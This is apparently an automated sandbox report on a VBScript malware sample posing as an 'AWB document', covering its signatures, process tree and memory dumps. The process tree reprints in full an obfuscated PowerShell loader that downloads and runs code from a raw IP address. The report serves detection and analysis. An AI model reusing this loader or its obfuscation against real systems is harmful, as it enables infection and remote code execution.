Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
19/04/2024, 05:46
General
- Target AWB DOCUMENT.vbs
- Size 42KB
- Sample240419-ggamysbd2v
- SHA256 2d04a69024d34db3522423b703bb949e5f3b4a1d93f6ce4829578cc1111f368d
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AWB DOCUMENT.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$arbejdslshedskasser = 1;$Untouching='Substrin';$Untouching+='g';Function parasitical($Unleaderly){$Outswindling=$Unleaderly.Length-$arbejdslshedskasser;For($oxydation=6; $oxydation -lt $Outswindling; $oxydation+=(7)){$Nyttedes+=$Unleaderly.$Untouching.Invoke($oxydation, $arbejdslshedskasser);}$Nyttedes;}function Pacifying($Ritraades){& ($Nationalitetsmrke) ($Ritraades);}$Gelototherapy=parasitical ' DataiMNor rioKrigsrzPragmai WronslOutstulknuckla,adici/Adress5Ps,udh.Farve 0 R mpl ,enthe(An xseWDrop,oiAndironModsagdCalor oFigurfwOmf ngs Acale BatikuNOutmouTPligtm Ecosys1Rumper0trumpe.Omstil0 Skrub; Cigar AutostWSnogesiS mplinDrsprk6Uk,ran4 Vokse;Mediu. MongolxTehera6unba.b4Limlim;Kalkul Aaerner Knappviron k: R.rin1 toman2Overch1Pers.n.Man.cu0Faktur)Cyclos ,nintrGDiscomeRubbercOttilik Sid toBirt.b/ Lance2Por,el0Airboa1Casewo0 Trire0,algsd1Satisf0kri,st1Chresa MortifFSna.emiCericsrBrundbeMoti.ef DaryaoJazzbaxFavela/Slknin1Finans2 Unrig1Sta,la.Tagene0Snowbe ';$Vadede=parasitical 'Tu araUp.crolsTegnebe rifinr Undis-TjenstAO,ohelgLemlsteBa.ekanF,skestTegn.n ';$Strepsipteron=parasitical 'Glob.nhAlitr tYapne,tbaronepGbakke:Predyw/bradya/E tera8Apotek7Isopha.Uncurb1 aylor2Musik,1Com.da.Sydfru1An.ihe0Rouvil5Vaaben.Slager1Cavilk8Wirers4overgo/appe.dAIdiophfPrest.mC.astaaNondesg OphugrDiscriiStealtndogmatgCleis ePaeda,rKognin.An.aabxE pones ZoocynSprrer ';$Hoejresiden=parasitical 'Tarred>Bvelse ';$Nationalitetsmrke=parasitical 'Dans hiPolypreIndispxFjernu ';$Deciderende = parasitical 'Overwee Splanc,sittahCoweenoRegneu Manjav%AdressaE konopUnbaptpWaesomdPe,letadatab t OutglaU,func%Ungent\ ftersLNoncenoFeatlerFysiotiK avebcSatcheaAc.idieHvel.e. D,ninUProfetnUncritg Soute Format&dresse&Gumpss Cal.foeM,zambcUd asuhUnelevoPlutar marens$Cerebr ';Pacifying (parasitical 'Fragme$.forklg Larkil Overvo,edtprbOverfra Tomorl Borge:PolyceIevnerin PoochdEgena uOverdisForf itHypothrS aaltiH.bituvHe,eboiAlad arUdmarkkFrem dsFaultsoUlt.almUninjuh TryllePeng,odInfanteAttraprMoler,5Blan e6Ence.h=hidedd(samaric Stvnem Sk,nsdFabrik semico/Ri,knicNothar Mesely$UniverDDeponeeFarvelcGrenadiFaldrad Hassee SymparVir soeSulcalnpaahrbd Vegete,ncrud)saarsk ');Pacifying (parasitical 'Palme,$DiffragBeknotlBratbeoTetraxbPiculeaMer,pelVovede:teamwoDForgroeTillg.uFr dsstFlyseledogmefr.ntermo Ind.agFilbehaVidensmHjemm,y Inco.= Allel$FrothiS NonphtM,terirStolereEmmeripCystocs RavneiE meripudlicitFli deeRe.lerrSpringoTendennSansea.Piaz,is EventpDemonilStenveiG,mbaltColaen(Unglob$InapprHKatalyoMeeklyeFrema,j Misa.r .vogneflirtisBihensiSoldatdCaddowe SteppnCipaye)Tongka ');$Strepsipteron=$Deuterogamy[0];Pacifying (parasitical 'Fr,edo$Diplomg,edetelMetrikoStemmebTyksteaJaponilEncarp: TilstBKogl.reBurp.urAr.oure SittraForbrusironieo CocoanHylden= oliatNNa,nene U lsowGuerez-.orineOSkndigbKadmiujBesl.te Stalkc surpatspkste EmbarSPeasanyEnsretsget pmtTarante egnskmskibsl. ExactNTraitoeSlagortrueful.KildebW,latone piribPilgriCAfpa,rlFemtoniSesc peRedskanImp ovtE.ispl ');Pacifying (parasitical ' Guml $TyfuseBTrihyde Gall.rAutarce B udeaScrymas Per,eoDiametn,olemn.Reakt.HklausueBeskataCorrupdProgree d.gworUdledesSmre,a[,ardig$Sauc,rVKejseraOverladNuttineAffalddBickere Para.]Inhabi=Alkoho$OverliGKalk.le BarselKo.latoSpinwrt Brakpo TeleftUnof.ehRimelieUdnvner,ndustaS.mmenpJournayRecele ');$Muffins=parasitical 'OverliBForhaneScutchrForureeSphyraa TankssQuadreoSandr,n Enc r.Letva,DIsopleoNo ogewSumpfenSuperalTriketopolitia Strepd KraftFAseneriGurtsel BedrueRevela(Skrueb$GeneraSSin rotSmewser P rlaeporrenpStilres Redr.iBlondepMonasttAraneoeOpopanrJugwfroarmqpfnKont r,Hmorro$ rinkUMax.minRoddikiM,rcipkIndgneuGeneromflisereUncoiftAuthen) Equil ';$Muffins=$Industrivirksomheder56[1]+$Muffins;$Unikumet=$Industrivirksomheder56[0];Pacifying (parasitical 'Redisp$ Regimg U ennlLagerboFantasb Ud oraUniforl jlevh:AminoaU MelonnFlugtnm Uv.ldeVrdispd Erhv,a,arachl Bistal.omocyeSkamstd.oprop=T,oldk( BlephTOrnameeHavannsSagaditAlter.- StoryPTron.ka DistitEuryokhBamoth Tid,nn$ FormaUKlynkenOpposiiTestiekSpilpluGennemmBr,ntoe ngivetudeli,) Al.oe ');while (!$Unmedalled) {Pacifying (parasitical ' Beach$Sm.ltegarm,dalhjert,oAn,emabUgestea HadedlStran.:adve.tB CranieMi.ants ,issitDemob,iOversec MornfkPelsdyiSvigtenSi gleg.randd=Underc$Bist,etD.bfror NonpouScrawleFredni ') ;Pacifying $Muffins;Pacifying (parasitical ' OplanSKreatutflourea VurderSldnejtCathja-,ronflSTrav bl Int,reSkrsome Pit,lp Kollo Spyds4Trskel ');Pacifying (parasitical 'System$,rechagBitmoelTusindoPrivatbTelesaashortclHjemme:Besky,UR,ngninkal,famUnmoore KongedTasianaUnbudblAktionl O.tomeProtesdPre,ta=Mist,k(UnparrT.uforieSkramms fo gutIn.isk-Inf.ltP.mningaMar.ystsaalfohSyges Interi$LentitUAmpullnForttniLasknikLiberauKnightmMelanoebln eatE,igre)Ligefo ') ;Pacifying (parasitical 'Xy.ofo$s.rouggAf tvnlLatomioFor enbIndb,uaBrnefdlJeopar:UnlibetSportshBesjlieGrun lrSaltmamTffelhoFarhanlMalediaReferebMatticiH pnotlChoroieYaho.d=Signet$Aspidig Kluddl.vangsoSpawneb eigneaBallooldenat,: Etp.aSSpors tKalkstrIntra.iNullincformstt Levean QuaraeK bayasRyghvisKo,tan+Epider+ D,rke%Crysta$UpsentDDieba.e OccipuHyttertfljm neOps ulrEnkelto Redigg HybosaR dsenm TolkeyFinma..literec Condio TelefuA.tionnTilfretCarann ') ;$Strepsipteron=$Deuterogamy[$thermolabile];}Pacifying (parasitical 'Bourg,$Kaffegg ReasolBridgeoIhrdigbTj nesaStianelSafari: StartTUnwel r LuskeaseparedmeningiPenumbt Or.ngi nnesgoFritidnBrazilaTri acr Minusi PjasklIncitoyBrandm B.icks=Hjorte MarjoGFord.me SpiratInfilt-Obs ruCLagrinocalcarn Kaur tSilvereSpk,innS.udsmtClobbe steri$SemiviU a,ominOrthopi CritikIs quiuDiscanmbeslageAppelltSpor.s ');Pacifying (parasitical ' ydra$Tourisg IndmulShoggioCry,tab Sna.uaHowitzl Udga,: GrusvT elefooOve astRockeryNullin woodb=tes ib P rses[AmygdoS Shoppytude os,ishyst Requee kidefmVoldes.SvendeC Outmao.atinin,kronivUforeneTusserrNummertc,awer] oesi:chlamy:Chir,pFDazzlirExonicoNephelmDeconsB.idundaHandelsRisor eForgri6U parc4SurbatSJulek.tMasquer DemoniIbldstnKntringBnnest(Ti,git$UdbombT UdskirI pulsaBommesdAchorgiChe,sttFormaliFresheoInsuppnU foreaNonexcr.igniniAssignlFrondayTrimet) Taarn ');Pacifying (parasitical ' Aftrd$BegrdegBortfolRossploRotundbHimantaStegemlOps ug:TernasTSidegar.essoueOv rlekma ikelPigeona HypernJ sephgMuseu. Groftm= Cteni an ris[MediciS DisdayHenlags BivaatNummereOpiniom Mnste. orgnyT SilgreVanddaxIso,ogtSal.oe.Napol,E K ffenIpomo,cAff.dioMusculdGafluni DysmonStilisgRippli]Velita:forktr:BesattAImpo.tSAselliCUncateICentriILabber.TermonGKiselsePrveudtVaa enSNo temtSko.thrblemisiDobbelnOrdrebgDough.(Unpunc$ SkelsTDr pstoN,ttletSlagteyHjemme) Blueb ');Pacifying (parasitical 'Beswar$ConkergTubifalSu.ernoEducatbMas efa heraclTromme: Whi eR V,rdeoKonfu.oU.denif Superi indf,nBrittlgfoment=Inter,$BliverT Sque,rSkaktee ManonkRum.ellT ngema Fr,wlnCopiopgUnmist.SuppegslymphauStokrebDepe dsRegisttMavekarTaageti Nonbin FortrgFaksim( Tilba2Subt,r8Byp an0 phl,b0stigni8Etiqu.4Forbru,Re olv2Indust9 Ustra1Prolet7Mu.tis6Parabo)Boulev ');Pacifying $Roofing;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Loricae.Ung && echo $"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$arbejdslshedskasser = 1;$Untouching='Substrin';$Untouching+='g';Function parasitical($Unleaderly){$Outswindling=$Unleaderly.Length-$arbejdslshedskasser;For($oxydation=6; $oxydation -lt $Outswindling; $oxydation+=(7)){$Nyttedes+=$Unleaderly.$Untouching.Invoke($oxydation, $arbejdslshedskasser);}$Nyttedes;}function Pacifying($Ritraades){& ($Nationalitetsmrke) ($Ritraades);}$Gelototherapy=parasitical ' DataiMNor rioKrigsrzPragmai WronslOutstulknuckla,adici/Adress5Ps,udh.Farve 0 R mpl ,enthe(An xseWDrop,oiAndironModsagdCalor oFigurfwOmf ngs Acale BatikuNOutmouTPligtm Ecosys1Rumper0trumpe.Omstil0 Skrub; Cigar AutostWSnogesiS mplinDrsprk6Uk,ran4 Vokse;Mediu. MongolxTehera6unba.b4Limlim;Kalkul Aaerner Knappviron k: R.rin1 toman2Overch1Pers.n.Man.cu0Faktur)Cyclos ,nintrGDiscomeRubbercOttilik Sid toBirt.b/ Lance2Por,el0Airboa1Casewo0 Trire0,algsd1Satisf0kri,st1Chresa MortifFSna.emiCericsrBrundbeMoti.ef DaryaoJazzbaxFavela/Slknin1Finans2 Unrig1Sta,la.Tagene0Snowbe ';$Vadede=parasitical 'Tu araUp.crolsTegnebe rifinr Undis-TjenstAO,ohelgLemlsteBa.ekanF,skestTegn.n ';$Strepsipteron=parasitical 'Glob.nhAlitr tYapne,tbaronepGbakke:Predyw/bradya/E tera8Apotek7Isopha.Uncurb1 aylor2Musik,1Com.da.Sydfru1An.ihe0Rouvil5Vaaben.Slager1Cavilk8Wirers4overgo/appe.dAIdiophfPrest.mC.astaaNondesg OphugrDiscriiStealtndogmatgCleis ePaeda,rKognin.An.aabxE pones ZoocynSprrer ';$Hoejresiden=parasitical 'Tarred>Bvelse ';$Nationalitetsmrke=parasitical 'Dans hiPolypreIndispxFjernu ';$Deciderende = parasitical 'Overwee Splanc,sittahCoweenoRegneu Manjav%AdressaE konopUnbaptpWaesomdPe,letadatab t OutglaU,func%Ungent\ ftersLNoncenoFeatlerFysiotiK avebcSatcheaAc.idieHvel.e. D,ninUProfetnUncritg Soute Format&dresse&Gumpss Cal.foeM,zambcUd asuhUnelevoPlutar marens$Cerebr ';Pacifying (parasitical 'Fragme$.forklg Larkil Overvo,edtprbOverfra Tomorl Borge:PolyceIevnerin PoochdEgena uOverdisForf itHypothrS aaltiH.bituvHe,eboiAlad arUdmarkkFrem dsFaultsoUlt.almUninjuh TryllePeng,odInfanteAttraprMoler,5Blan e6Ence.h=hidedd(samaric Stvnem Sk,nsdFabrik semico/Ri,knicNothar Mesely$UniverDDeponeeFarvelcGrenadiFaldrad Hassee SymparVir soeSulcalnpaahrbd Vegete,ncrud)saarsk ');Pacifying (parasitical 'Palme,$DiffragBeknotlBratbeoTetraxbPiculeaMer,pelVovede:teamwoDForgroeTillg.uFr dsstFlyseledogmefr.ntermo Ind.agFilbehaVidensmHjemm,y Inco.= Allel$FrothiS NonphtM,terirStolereEmmeripCystocs RavneiE meripudlicitFli deeRe.lerrSpringoTendennSansea.Piaz,is EventpDemonilStenveiG,mbaltColaen(Unglob$InapprHKatalyoMeeklyeFrema,j Misa.r .vogneflirtisBihensiSoldatdCaddowe SteppnCipaye)Tongka ');$Strepsipteron=$Deuterogamy[0];Pacifying (parasitical 'Fr,edo$Diplomg,edetelMetrikoStemmebTyksteaJaponilEncarp: TilstBKogl.reBurp.urAr.oure SittraForbrusironieo CocoanHylden= oliatNNa,nene U lsowGuerez-.orineOSkndigbKadmiujBesl.te Stalkc surpatspkste EmbarSPeasanyEnsretsget pmtTarante egnskmskibsl. ExactNTraitoeSlagortrueful.KildebW,latone piribPilgriCAfpa,rlFemtoniSesc peRedskanImp ovtE.ispl ');Pacifying (parasitical ' Guml $TyfuseBTrihyde Gall.rAutarce B udeaScrymas Per,eoDiametn,olemn.Reakt.HklausueBeskataCorrupdProgree d.gworUdledesSmre,a[,ardig$Sauc,rVKejseraOverladNuttineAffalddBickere Para.]Inhabi=Alkoho$OverliGKalk.le BarselKo.latoSpinwrt Brakpo TeleftUnof.ehRimelieUdnvner,ndustaS.mmenpJournayRecele ');$Muffins=parasitical 'OverliBForhaneScutchrForureeSphyraa TankssQuadreoSandr,n Enc r.Letva,DIsopleoNo ogewSumpfenSuperalTriketopolitia Strepd KraftFAseneriGurtsel BedrueRevela(Skrueb$GeneraSSin rotSmewser P rlaeporrenpStilres Redr.iBlondepMonasttAraneoeOpopanrJugwfroarmqpfnKont r,Hmorro$ rinkUMax.minRoddikiM,rcipkIndgneuGeneromflisereUncoiftAuthen) Equil ';$Muffins=$Industrivirksomheder56[1]+$Muffins;$Unikumet=$Industrivirksomheder56[0];Pacifying (parasitical 'Redisp$ Regimg U ennlLagerboFantasb Ud oraUniforl jlevh:AminoaU MelonnFlugtnm Uv.ldeVrdispd Erhv,a,arachl Bistal.omocyeSkamstd.oprop=T,oldk( BlephTOrnameeHavannsSagaditAlter.- StoryPTron.ka DistitEuryokhBamoth Tid,nn$ FormaUKlynkenOpposiiTestiekSpilpluGennemmBr,ntoe ngivetudeli,) Al.oe ');while (!$Unmedalled) {Pacifying (parasitical ' Beach$Sm.ltegarm,dalhjert,oAn,emabUgestea HadedlStran.:adve.tB CranieMi.ants ,issitDemob,iOversec MornfkPelsdyiSvigtenSi gleg.randd=Underc$Bist,etD.bfror NonpouScrawleFredni ') ;Pacifying $Muffins;Pacifying (parasitical ' OplanSKreatutflourea VurderSldnejtCathja-,ronflSTrav bl Int,reSkrsome Pit,lp Kollo Spyds4Trskel ');Pacifying (parasitical 'System$,rechagBitmoelTusindoPrivatbTelesaashortclHjemme:Besky,UR,ngninkal,famUnmoore KongedTasianaUnbudblAktionl O.tomeProtesdPre,ta=Mist,k(UnparrT.uforieSkramms fo gutIn.isk-Inf.ltP.mningaMar.ystsaalfohSyges Interi$LentitUAmpullnForttniLasknikLiberauKnightmMelanoebln eatE,igre)Ligefo ') ;Pacifying (parasitical 'Xy.ofo$s.rouggAf tvnlLatomioFor enbIndb,uaBrnefdlJeopar:UnlibetSportshBesjlieGrun lrSaltmamTffelhoFarhanlMalediaReferebMatticiH pnotlChoroieYaho.d=Signet$Aspidig Kluddl.vangsoSpawneb eigneaBallooldenat,: Etp.aSSpors tKalkstrIntra.iNullincformstt Levean QuaraeK bayasRyghvisKo,tan+Epider+ D,rke%Crysta$UpsentDDieba.e OccipuHyttertfljm neOps ulrEnkelto Redigg HybosaR dsenm TolkeyFinma..literec Condio TelefuA.tionnTilfretCarann ') ;$Strepsipteron=$Deuterogamy[$thermolabile];}Pacifying (parasitical 'Bourg,$Kaffegg ReasolBridgeoIhrdigbTj nesaStianelSafari: StartTUnwel r LuskeaseparedmeningiPenumbt Or.ngi nnesgoFritidnBrazilaTri acr Minusi PjasklIncitoyBrandm B.icks=Hjorte MarjoGFord.me SpiratInfilt-Obs ruCLagrinocalcarn Kaur tSilvereSpk,innS.udsmtClobbe steri$SemiviU a,ominOrthopi CritikIs quiuDiscanmbeslageAppelltSpor.s ');Pacifying (parasitical ' ydra$Tourisg IndmulShoggioCry,tab Sna.uaHowitzl Udga,: GrusvT elefooOve astRockeryNullin woodb=tes ib P rses[AmygdoS Shoppytude os,ishyst Requee kidefmVoldes.SvendeC Outmao.atinin,kronivUforeneTusserrNummertc,awer] oesi:chlamy:Chir,pFDazzlirExonicoNephelmDeconsB.idundaHandelsRisor eForgri6U parc4SurbatSJulek.tMasquer DemoniIbldstnKntringBnnest(Ti,git$UdbombT UdskirI pulsaBommesdAchorgiChe,sttFormaliFresheoInsuppnU foreaNonexcr.igniniAssignlFrondayTrimet) Taarn ');Pacifying (parasitical ' Aftrd$BegrdegBortfolRossploRotundbHimantaStegemlOps ug:TernasTSidegar.essoueOv rlekma ikelPigeona HypernJ sephgMuseu. Groftm= Cteni an ris[MediciS DisdayHenlags BivaatNummereOpiniom Mnste. orgnyT SilgreVanddaxIso,ogtSal.oe.Napol,E K ffenIpomo,cAff.dioMusculdGafluni DysmonStilisgRippli]Velita:forktr:BesattAImpo.tSAselliCUncateICentriILabber.TermonGKiselsePrveudtVaa enSNo temtSko.thrblemisiDobbelnOrdrebgDough.(Unpunc$ SkelsTDr pstoN,ttletSlagteyHjemme) Blueb ');Pacifying (parasitical 'Beswar$ConkergTubifalSu.ernoEducatbMas efa heraclTromme: Whi eR V,rdeoKonfu.oU.denif Superi indf,nBrittlgfoment=Inter,$BliverT Sque,rSkaktee ManonkRum.ellT ngema Fr,wlnCopiopgUnmist.SuppegslymphauStokrebDepe dsRegisttMavekarTaageti Nonbin FortrgFaksim( Tilba2Subt,r8Byp an0 phl,b0stigni8Etiqu.4Forbru,Re olv2Indust9 Ustra1Prolet7Mu.tis6Parabo)Boulev ');Pacifying $Roofing;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Loricae.Ung && echo $"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 21524⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2208 -ip 22081⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_m5aebu5v.j5f.ps1
Loricae.Ung
memory/2208-27-0x00000000058B0000-0x0000000005916000-memory.dmp
memory/2208-32-0x0000000006170000-0x00000000064C4000-memory.dmp
memory/2208-41-0x0000000074EA0000-0x0000000075650000-memory.dmp
memory/2208-39-0x0000000008520000-0x0000000008AC4000-memory.dmp
memory/2208-17-0x0000000074EA0000-0x0000000075650000-memory.dmp
memory/2208-18-0x00000000053C0000-0x00000000053D0000-memory.dmp
memory/2208-16-0x0000000002BE0000-0x0000000002C16000-memory.dmp
memory/2208-19-0x0000000005A00000-0x0000000006028000-memory.dmp
memory/2208-20-0x0000000005670000-0x0000000005692000-memory.dmp
memory/2208-33-0x0000000006510000-0x000000000652E000-memory.dmp
memory/2208-38-0x0000000007740000-0x0000000007762000-memory.dmp
memory/2208-37-0x0000000007820000-0x00000000078B6000-memory.dmp
memory/2208-21-0x0000000005710000-0x0000000005776000-memory.dmp
memory/2208-34-0x0000000006560000-0x00000000065AC000-memory.dmp
memory/2208-35-0x0000000007EA0000-0x000000000851A000-memory.dmp
memory/2208-36-0x0000000006A80000-0x0000000006A9A000-memory.dmp
memory/4688-10-0x00007FFF78930000-0x00007FFF793F1000-memory.dmp
memory/4688-11-0x0000016CD7D60000-0x0000016CD7D70000-memory.dmp
memory/4688-15-0x0000016CD7D60000-0x0000016CD7D70000-memory.dmp
memory/4688-9-0x0000016CF2480000-0x0000016CF24A2000-memory.dmp
memory/4688-12-0x0000016CD7D60000-0x0000016CD7D70000-memory.dmp
memory/4688-44-0x00007FFF78930000-0x00007FFF793F1000-memory.dmp